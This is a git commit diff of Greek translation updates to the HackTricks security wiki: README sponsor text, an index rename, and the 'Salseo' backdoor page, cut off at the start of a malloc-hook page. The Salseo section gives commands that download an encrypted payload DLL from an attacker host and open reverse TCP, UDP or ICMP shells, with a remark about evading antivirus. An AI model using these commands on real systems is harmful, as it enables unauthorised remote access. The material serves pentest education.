Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb

This commit is contained in:
Translator 2024-07-18 18:55:48 +00:00
parent d3b461a5bd
commit 7e134725a1
112 changed files with 4458 additions and 3810 deletions

BIN
.gitbook/assets/arte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 756 KiB

BIN
.gitbook/assets/grte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 879 KiB

View file

@ -5,10 +5,10 @@
_Τα λογότυπα και το σχεδιασμό κίνησης του Hacktricks από_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνωστικές έρευνες και ειδήσεις.**
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις έρευνας και ειδήσεις.**
{% endhint %}
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφαλείας** ενός ή περισσότερων **μηχανών:**
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφαλείας** ενός ή περισσότερων **μηχανημάτων:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -20,7 +20,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τις δικές τους έρευνες και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@ -32,7 +32,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας βραχυκύκλωμα συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
**Η Intigriti** είναι η **#1 στην Ευρώπη** στην ηθική χρήση και την **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας.**
**Συμβουλή ανταμοιβής ευρημάτων:** **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
**Συμβουλή ανταμοιβής ευπάθειας:** **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -55,7 +55,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Αποκτήστε πρόσβαση σήμερα:
@ -67,13 +67,13 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον **Διακομιστή HackenProof Discord** για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων!
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερς και κυνηγούς ανταμοιβής ευπάθειας!
* **Εισαγωγή στο Χάκινγκ:** Εμπλακείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
* **Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο:** Παραμείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
* **Τελευταίες Ανακοινώσεις:** Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
* **Εισαγωγή στο Hacking:** Εμπλακείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
* **Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο:** Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
* **Τελευταίες Ανακοινώσεις:** Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευπάθειας που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
**Ελάτε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
***
@ -81,7 +81,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & ελέγχου διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση ενοτήτων για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & ελέγχου διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
@ -91,12 +91,12 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Η SerpApi προσφέρει γρήγορες και εύκολες πραγματικές APIs για **πρόσβαση στα αποτελέσματα αναζήτησης στις μηχανές αναζήτησης**. Κάνουν scraping στις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Η SerpApi προσφέρει γρήγορες και εύκολες πραγματικές APIs για **πρόσβαση στα αποτελέσματα αναζήτησης**. Κάνουν scraping στις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
Η συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικές APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν κάνει απλώς scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις της SerpApi περιλαμβάνουν συνεχώς όλες τις διαφημίσεις, ενσωματωμένες εικόνες και βίντεο, γνωσιακούς γράφους και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν την **Apple, την Shopify και την GrubHub**.\
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
Για περισσότερες πληροφορίες ελέγξτε το [**blog**](https://serpapi.com/blog/) τους, ή δοκιμάστε ένα παράδειγμα στο [**παιχνίδι**](https://serpapi.com/playground) τους.\
Μπορείτε να **δημιουργήσετε ένα δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**
@ -116,12 +116,12 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **εταιρεία ασφά
Η WebSec είναι μια **εταιρεία ασφάλειας όλα-σε-ένα** που σημαίνει ότι κάνουν τα πάν
### [WhiteIntel](https://whiteintel.io)
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες malware**.
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες malware**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από malware που κλέβει πληροφορίες.
@ -142,16 +142,17 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
![Στατιστικά Github του HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Εικόνα αναλυτικών στοιχείων του Repobeats")
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -279,7 +279,7 @@
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
* [WinRM](windows-hardening/lateral-movement/winrm.md)
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
* [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)

View file

@ -1,28 +1,29 @@
# Salseo
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>
{% endhint %}
## Συντάσσοντας τα δυαδικά αρχεία
Κατεβάστε τον πηγαίο κώδικα από το github και συντάξτε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστεί να έχετε εγκατεστημένο το **Visual Studio** για να συντάξετε τον κώδικα.
Κατεβάστε τον πηγαίο κώδικα από το github και συντάξτε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστείτε το **Visual Studio** εγκατεστημένο για να συντάξετε τον κώδικα.
Συντάξτε αυτά τα έργα για την αρχιτεκτονική του παραθύρου όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συντάξτε τα για αυτές τις αρχιτεκτονικές).
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στο **"Platform Target".**
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και μετά στις **"Ιδιότητες \<Ονομασίας Έργου>"**)
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **καρτέλα Project** και μετά στις **"Ιδιότητες \<Όνομα Έργου>"**)
![](<../.gitbook/assets/image (132).png>)
@ -30,9 +31,9 @@
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Προετοιμασία της Παρασκήνιας Πόρτας
## Προετοιμασία της πίσω πόρτας
Καταρχάς, θα πρέπει να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το σενάριο python **encrypterassembly.py** ή μπορείτε να συντάξετε το έργο **EncrypterAssembly**:
Καταρχάς, θα χρειαστείτε να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το σενάριο python **encrypterassembly.py** ή μπορείτε να συντάξετε το έργο **EncrypterAssembly**:
### **Python**
```
@ -44,21 +45,21 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Τώρα έχετε ό,τι χρειάζεστε για να εκτελέσετε όλο το Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
Τώρα έχεις ό,τι χρειάζεσαι για να εκτελέσεις όλο το πράγμα Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
**Μεταφορτώστε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν πρέπει να ανιχνευθεί από κανένα AV...**
**Μετέφερε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν πρέπει να ανιχνευθεί από κανένα AV...**
## **Εκτέλεση της πίσω πόρτας**
### **Λήψη εναλλακτικού κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
### **Λήψη αντίστροφου κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και ένα διακομιστή HTTP για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa.
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατή αντίστροφου κελύφους και ένα διακομιστή HTTP για να εξυπηρετήσει το κωδικοποιημένο evilsalsa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### Λήψη ενός αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)
### **Λήψη ενός αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)**
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατή αντίστροφου κελύφους και ένα διακομιστή SMB για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
Να θυμάστε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και ένα διακομιστή SMB για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
@ -87,21 +88,21 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
### Προσθέστε πριν από την κύρια συνάρτηση: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Εγκατάσταση DllExport για αυτό το έργο
### Εγκατάσταση του DllExport για αυτό το έργο
#### **Εργαλεία** --> **Διαχείριση πακέτων NuGet** --> **Διαχείριση πακέτων NuGet για τη λύση...**
#### **Εργαλεία** --> **Διαχειριστής πακέτων NuGet** --> **Διαχείριση πακέτων NuGet για τη λύση...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Αναζήτηση για το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Περιήγηση), και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
#### **Αναζήτηση του πακέτου DllExport (χρησιμοποιώντας την καρτέλα Περιήγηση) και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Στο φάκελο του έργου σας εμφανίζονται τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
### **Απεγκατάσταση DllExport**
### **Απεγκατάσταση του DllExport**
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
@ -113,13 +114,13 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Στη συνέχεια, πηγαίνετε στον φάκελο του **SalseoLoader** και **εκτελέστε το DllExport\_Configure.bat**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, όπως στην περίπτωσή μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace for DllExport**) και πατήστε **Εφαρμογή**
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, όπως ήταν το δικό μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Χώρο ονομάτων για το DllExport**) και πατήστε **Εφαρμογή**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **Ανοίξτε ξανά το έργο με το Visual Studio**
Το **\[DllExport]** δε θα πρέπει πλέον να εμφανίζεται ως σφάλμα
Το **\[DllExport]** δε θα πρέπει πλέον να είναι σημειωμένο ως σφάλμα
![](<../.gitbook/assets/image (8) (1).png>)
@ -135,7 +136,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Για να **κατασκευάσετε** τη λύση: Κατασκευή --> Κατασκευή Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή του νέου DLL)
### Δοκιμάστε το παραγόμενο Dll
### Δοκιμάστε το δημιουργημένο Dll
Αντιγράψτε και επικολλήστε το Dll όπου θέλετε να το δοκιμάσετε.
@ -143,11 +144,11 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
rundll32.exe SalseoLoader.dll,main
```
Αν δεν εμφανίζεται κάποιο σφάλμα, πιθανότατα έχετε ένα λειτουργικό DLL!!
Αν δεν εμφανίζεται κάποιο σφάλμα, πιθανόν να έχετε ένα λειτουργικό DLL!!
## Λήψη κέλυφους χρησιμοποιώντας το DLL
Μην ξεχάσετε να χρησιμοποιήσετε ένα **HTTP** **server** και να ορίσετε ένα **nc** **listener**
Μην ξεχάσετε να χρησιμοποιήσετε ένα **HTTP** **server** και να ορίσετε έναν **nc** **listener**
### Powershell
```
@ -169,16 +170,17 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
# Εκτέλεση Κώδικα με Αυθαίρετη Εγγραφή - \_\_malloc\_hook & \_\_free\_hook
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
